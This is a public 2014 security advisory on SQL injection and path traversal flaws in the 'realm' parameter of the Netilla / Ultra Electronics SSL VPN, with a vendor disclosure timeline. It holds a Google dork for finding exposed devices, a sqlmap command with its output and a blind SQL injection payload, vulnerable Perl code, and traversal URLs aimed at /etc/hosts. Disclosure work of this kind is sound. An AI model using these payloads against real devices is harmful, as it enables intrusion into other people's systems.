Ultra Electronics / AEP Networks - SSL VPN (Netilla / Series A / Ultra
Protect) Vulnerabilities
Release Date:
02-Oct-2014
Software:
Ultra Electronics - Series A
http://en.wikipedia.org/wiki/NetillaOS_NetConnect_by_Northbridge_Secure_Systems_(Secure_Remote_Access_SSL_VPN)
Versions tested:
Version 7.2.0.19 and 7.4.0.7 have been confirmed as vulnerable. Other
versions untested.
Google Dork: inurl:/preauth/login.cgi
Page 1 of about 321 results (0.25 seconds)
URL:
https://[target]/preauth/login.cgi?realm=local
There are a few different issues with the 'realm' parameter.
1) SQL injection. You can use sqlmap for this.
./sqlmap.py -u "https://[target]/preauth/login.cgi?realm=abc" --level 5
sqlmap identified the following injection points with a total of 927
HTTP(s) requests:
---
Place: GET
Parameter: realm
Type: boolean-based blind
Title: PostgreSQL stacked conditional-error blind queries
Payload: realm=-2661'); SELECT (CASE WHEN (9569=9569) THEN 9569
ELSE 1/(SELECT 0) END);--
---
web application technology: Apache
back-end DBMS operating system: Linux Red Hat
back-end DBMS: PostgreSQL
banner: 'PostgreSQL 8.3.4 on x86_64-redhat-linux-gnu, compiled by
GCC gcc (GCC) 4.1.2 20070626 (Red Hat 4.1.2-14)'
Funnily enough, a lot of the source code is commented with things like
"#FIXME add param validation" as a reminder by the developer that the
code doesn't validate input - but somehow made it into production.
DB.pm line ~189 where realm is used in an SQL select:
sub set_message {
my $self = shift;
warn(__PACKAGE__, "::set_message() called\n") if $self->{'debug'};
my ($key, $value) = @_; # FIXME add param validation
my $realm_name=$self->{'realm'};
my $c = $self->{'_dbh'};
my $locale = $self->{'locale'} ;
my $r = $c->exec("
select * from set_realm_message('$realm_name',
'$locale', '$key', '$value')
");
if ($r->resultStatus ne PGRES_TUPLES_OK) {
return;
}
my $retval = $r->fetchrow;
return $retval;
}
2) The realm is also used in a perl based mkdir(). This allows you to
create arbitrary folders, allows for path disclosure / checking files
exist etc.
Manager.pm line ~43:
chown $uid, $gid, mkpath($path, 0);
File.pm line ~160:
my $parent = File::Basename::dirname($path);
unless (-d $parent or $path eq $parent) {
push(@created,mkpath($parent, $verbose, $mode));
}
print "mkdir $path\n" if $verbose;
Examples:
https://[target]/preauth/login.cgi?realm=../../../etc/hosts
Error
mkdir /tmp/netilla-cache/C11N_get_messages/../../../etc/hosts: File
exists at /usr/lib/perl5/site_perl/5.8.8/Netilla/CONDA/Cache/Manager.pm
line 43
Back
https://[target]/preauth/login.cgi?realm=../../../../bin/
Error
mkdir /tmp/netilla-cache/C11N_get_messages/../../../../bin: Permission
denied at /usr/lib/perl5/site_perl/5.8.8/Netilla/CONDA/Cache/Manager.pm
line 43
Back
The portal requires authentication to access "protected" areas but
once you are authenticated, you can HTTP GET internal device
configuration files and other resources that an authenticated user
shouldn't be able to read.
Credit:
This vulnerability was discovered by Patrick Webster.
Disclosure timeline:
28-May-2012 - Discovered during test.
28-May-2012 - Vendor contact, referred to support and legal departments.
19-Jun-2012 - Requested vendor update.
20-Jun-2012 - Told to contact support email. Sent.
19-Jul-2012 - Support request to close ticket. Told support no
progress has been made. Support requires CVE to progress.
23-Jul-2012 - Told support no CVE has been assigned. Support refuse
to investigate without a CVE. Told to upgrade to newest release
7.4.0.7. Confirmed as affected.
14-Aug-2012 - Vendor support closing ticket, no investigation or patch.
02-Oct-2014 - Public disclosure. Assumed vulnerable.
Note: Product is now known as NetillaOS by Northbridge Secure
Systems. 2014 status unknown.